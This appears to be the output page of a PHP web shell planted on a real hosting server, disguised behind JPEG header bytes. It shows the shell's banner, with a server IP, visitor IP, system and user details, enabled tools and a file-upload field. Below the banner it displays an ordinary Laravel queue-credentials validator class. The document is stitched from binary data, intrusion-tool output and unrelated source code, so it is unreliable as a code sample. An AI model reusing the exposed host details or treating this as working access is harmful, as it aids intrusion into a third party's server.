����JFIF��x�x����'
| Server IP : 78.140.185.180  /  Your IP : 216.73.216.38 Web Server : LiteSpeed System : Linux cpanel13.v.fozzy.com 4.18.0-513.11.1.lve.el8.x86_64 #1 SMP Thu Jan 18 16:21:02 UTC 2024 x86_64 User : builderbox ( 1072) PHP Version : 7.3.33 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : OFF | Pkexec : OFF Directory : /home/builderbox/././././././www/common/Settings/Validators/  | 
Upload File :  | 
<?php
namespace Common\Settings\Validators;
use Config;
use Queue;
use Exception;
use Illuminate\Support\Arr;
class QueueCredentialsValidator
{
    const KEYS = [
        'queue_driver',
        // sqs
        'SQS_QUEUE_KEY', 'SQS_QUEUE_SECRET', 'SQS_QUEUE_PREFIX', 'SQS_QUEUE_NAME', 'SQS_QUEUE_REGION',
    ];
    public function fails($settings)
    {
        $this->setConfigDynamically($settings);
        $driver = Arr::get($settings, 'queue_driver', config('queue.default'));
        try {
            Queue::connection($driver)->size();
        } catch (Exception $e) {
            return $this->getErrorMessage($e, $driver);
        }
    }
    private function setConfigDynamically($settings)
    {
        foreach ($settings as $key => $value) {
            // SQS_QUEUE_KEY => sqs.queue.key
            $key = strtolower(str_replace('_', '.', $key));
            // sqs.queue.key => sqs.key
            $key = str_replace('queue.', '', $key);
            $key = str_replace('name', 'queue', $key);
            Config::set("queue.connections.$key", $value);
        }
    }
    /**
     * @param Exception $e
     * @param string $driver
     * @return array
     */
    private function getErrorMessage($e, $driver)
    {
        return ['queue_group' => "Could not change queue driver to <strong>$driver</strong>.<br> {$e->getMessage()}"];
    }
}